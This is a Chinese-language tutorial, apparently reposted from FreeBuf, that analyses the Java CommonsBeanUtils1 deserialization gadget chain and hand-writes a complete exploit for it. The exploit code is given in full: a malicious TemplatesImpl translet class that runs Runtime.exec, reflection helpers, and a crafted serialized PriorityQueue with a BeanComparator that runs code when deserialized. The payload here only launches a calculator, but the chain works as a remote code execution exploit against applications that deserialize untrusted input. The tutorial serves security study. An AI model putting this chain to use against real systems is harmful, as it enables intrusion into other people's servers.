Java CommonsBeanUtils1 反序列化手写 EXP
2022-7-14 16:45:9 Author: www.freebuf.com(查看原文) 阅读量:23 收藏

0x01 前言

因为后续的漏洞利用当中,CommonsBeanUtils 这一条链子还是比较重要的,不论是 shiro 还是后续的 fastjson,都是比较有必要学习的。

在已经学习一些基础知识与 CC 链的情况下,最终链子就可以自己跟着 yso 的链子利用走一遍写 EXP 了。

0x02 环境

jdk8 不受版本影响均可
其余环境如下所示

<dependency>  
 <groupId>commons-beanutils</groupId>  
 <artifactId>commons-beanutils</artifactId>  
 <version>1.9.2</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->  
<dependency>  
 <groupId>commons-logging</groupId>  
 <artifactId>commons-logging</artifactId>  
 <version>1.2</version>  
</dependency>

0x03 CommonsBeanUtils 简介

Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean

  • 以 Utils 结尾,一般这都是一个工具类/集

先说说 JavaBean 的这个概念

这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。

关于 JavaBean 的说明可以参考廖雪峰老师的文章

CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:

比如 Baby 是一个最简单的 JavaBean 类

public class Baby {  
    private String name = "Drunkbaby";  
  
 public String getName(){  
        return name;  
 }  
  
    public void setName (String name) {  
        this.name = name;  
 }  
}

这里定义两个简单的 getter setter 方法,如果用@Lombok的注解也是同样的,使用@Lombok的注解不需要写 getter setter。

Commons-BeanUtils 中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下

import org.apache.commons.beanutils.PropertyUtils;  
  
public class CBMethods {  
    public static void main(String[] args) throws Exception{  
        System.out.println(PropertyUtils.getProperty(new Baby(), "name"));  
 }  
}

image

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。

0x04 CommonsBeanUtils1 链子分析

  • 还是和之前一样,进行逆向分析。这里的链子和 CC4 的前半部分链子是基本一致的。

1. 链子尾部

我们链子的尾部是通过动态加载 TemplatesImpl 字节码的方式进行攻击的,原因很简单:

在之前讲动态加载 TemplatesImpl 字节码的时候,我们的链子是这样的

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

在链子的最开头 ————TemplatesImpl.getOutputProperties(),它是一个 getter 方法,并且作用域为 public,所以可以通过 CommonsBeanUtils 中的PropertyUtils.getProperty()方式获取,

这里我们的PropertyUtils.getProperty()对应的参数应该这么传

// 伪代码
PropertyUtils.getProperty(TemplatesImpl, outputProperties)

2. 中间链子

上一步我们说到尾部是PropertyUtils.getProperty(),我们就去看看谁调用了PropertyUtils.getProperty()

image

这里的 compare() 方法比较符合条件,因为它经常被其他方法所调用,作为链子的一部分来说,我们是很喜欢这种方法的。

继续找谁调用了 compare() 方法,这里就太多了,我们优先去找能够进行序列化的类,于是这里找到了PriorityQueue这个类。

PriorityQueue这个类的siftDownUsingComparator()方法调用了compare()

image

继续找谁调用了siftDownUsingComparator()方法,发现在同一个类中的siftDown()方法调用了它。

image

  • 同样,发现同个类下的heapify()方法调用了siftDown()方法

image

如法炮制,直到最后能够找到入口类为止

3. 寻找 readObject() 的入口类

我们在寻找谁调用heapify()方法时,成功找到了readObejct()方法

image

到目前,我们一整条链子就找好了,链子流程如下。

PriorityQueue.readObject()
PriorityQueue.heapify()  ->
	
	PriorityQueue.siftDown()
	PriorityQueue.siftDownUsingComparator() ->
	
		BeanComparator.compare() ->
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
	->
			TemplatesImpl.getOutputProperties()
			TemplatesImpl.newTransformer()
			TemplatesImpl.getTransletInstance()
			TemplatesImpl.defineTransletClasses()

接下来画个流程图。因为前半部分和 CC4 是一样的,所以我们把它加到整个 CC 链里面去。

image

0x05 CommonsBeanUtils1 EXP 编写

yso 官方这里的话没有给出 CB1 链子的 Gadget,大概是人家觉得太短了没什么必要吧,我这里自己手写一遍 EXP。

CommonsBeanUtils1的链子又两个主要的部分组成:

  • 一部分是利用TemplatesImpl动态加载字节码。

  • 另一部分是通过CommonsBeanUtils中的PropertyUtils读取 getter 请求。

下面我们逐一讲解

1. 尾部链子 ———— 利用 TemplatesImpl 动态加载字节码

  • 我们先跟进 TemplatesImpl 这个包中看 TemplatesImpl 的结构图

image

可以看到在TemplatesImpl类中还有一个内部类TransletClassLoader,这个类是继承ClassLoader,并且重写了defineClass方法。

image

  • 简单来说,这里的defineClass由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

我们从TransletClassLoader#defineClass()向前追溯一下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

追到最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。

我们尝试用TemplatesImpl#newTransformer()构造一个简单的 POC

首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法。

package src.DynamicClassLoader.TemplatesImplClassLoader;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
import java.io.IOException;  
  
// TemplatesImpl 的字节码构造  
public class TemplatesBytes extends AbstractTranslet {  
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}  
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}  
    public TemplatesBytes() throws IOException{  
        super();  
 Runtime.getRuntime().exec("Calc");  
 }  
}

字节码这里的编写比较容易,我就一笔带过了,接下来我们重点关注 POC 是如何编写出来的。

因为是一整条链子,参考最开始我们讲的 URLDNS 链,我们需要设置其一些属性值,从而让我们的链子传递下去。我这里先把 POC 挂出来,结合着讲。

package src.DynamicClassLoader.TemplatesImplClassLoader;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
// 主程序  
public class TemplatesRce {  
    public static void main(String[] args) throws Exception{  
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));  
 TemplatesImpl templates = new TemplatesImpl();  
 setFieldValue(templates, "_name", "Calc");  
 setFieldValue(templates, "_bytecodes", new byte[][] {code});  
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
 templates.newTransformer();  
 }  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{  
        Field field = obj.getClass().getDeclaredField(fieldName);  
 field.setAccessible(true);  
 field.set(obj, value);  
 }  
}

我们定义了一个设置私有属性的方法,命名为setFieldValue,根据我们的链子,一个个看。

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

  • 主要是三个私有类的属性

setFieldValue(templates, "_name", "Calc"); 

image

显然,_name不能为 null,我们才能进入链子的下一部分。
链子的下一部分为defineTransletClasses,我们跟进去。

image

_tfactory需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里有调用到_tfactory.getExternalExtensionsMap(),如果是 null 会出错。

TemplatesBytes.class 这里是一个弹计算器的恶意类,代码如下

package src.DynamicClassLoader.URLClassLoader;  
  
import java.io.IOException;  
  
// 弹计算器的万能类  
public class Calc {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
 } catch (IOException e){  
            e.printStackTrace();  
 }  
    }  
}

弹计算器成功
image

2. 中间 EXP 编写

因为中间链子比较短,这里就直接写整段 EXP 了

在写 EXP 之前,我们先好好看一看BeanComparator.compare()方法:

image

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

所以如果需要传值比较,肯定是需要新建一个PriorityQueue的队列,并让其有 2 个值进行比较。而且PriorityQueue的构造函数当中就包含了一个比较器。

image

我们的 EXP 如下,最后使用 queue.add 就可以自动完成比较是因为 add 方法调用了 compare 方法,如图。

image

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.commons.beanutils.PropertyUtils;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
  
public class CommonBeans1EXP {  
    public static void main(String[] args) throws Exception{  
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));  
 TemplatesImpl templates = new TemplatesImpl();  
 setFieldValue(templates, "_name", "Calc");  
 setFieldValue(templates, "_bytecodes", new byte[][] {code});  
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
 //    templates.newTransformer();  
 final BeanComparator beanComparator = new BeanComparator();  
 // 将 property 的值赋为 outputProperties setFieldValue(beanComparator, "property", "outputProperties");  
 // 创建新的队列,并添加恶意字节码  
 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);  
 queue.add(templates);  
 queue.add(templates);  
 }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{  
        Field field = obj.getClass().getDeclaredField(fieldName);  
 field.setAccessible(true);  
 field.set(obj, value);  
 }  
}
  • 成功弹出计算器

image

3. 结合入口类的最终 EXP 编写

  • 此处我们需要控制在它序列化的时候不弹出计算器,在反序列化的时候弹出计算器,于是通过反射修改值。

先将 queue.add 赋一个无关痛痒的常量,再通过反射修改值即可,伪代码如下

queue.add(1);  
queue.add(1);  
  
// 将 property 的值赋为 outputPropertiessetFieldValue(beanComparator, "property", "outputProperties");  
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整的 EXP 如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.commons.beanutils.PropertyUtils;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
  
public class CB1FinalEXP {  
    public static void main(String[] args) throws Exception{  
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));  
 TemplatesImpl templates = new TemplatesImpl();  
 setFieldValue(templates, "_name", "Calc");  
 setFieldValue(templates, "_bytecodes", new byte[][] {code});  
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
 //    templates.newTransformer();  
 final BeanComparator beanComparator = new BeanComparator();  
 // 创建新的队列,并添加恶意字节码  
 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);  
 queue.add(1);  
 queue.add(1);  
  
 // 将 property 的值赋为 outputProperties setFieldValue(beanComparator, "property", "outputProperties");  
 setFieldValue(queue, "queue", new Object[]{templates, templates});  
 serialize(queue);  
 unserialize("ser.bin");  
 }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{  
        Field field = obj.getClass().getDeclaredField(fieldName);  
 field.setAccessible(true);  
 field.set(obj, value);  
 }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}

成功弹出计算器

image

0x06 小结

这条链子比较简单,我的建议是自己可以完完全全地手写一遍 EXP

0x07 参考资料

https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
https://blog.weik1.top/2021/01/18/CommonsBeanutils%E9%93%BE%E5%88%86%E6%9E%90/


文章来源: https://www.freebuf.com/articles/web/339186.html
如有侵权请联系:admin#unsafe.sh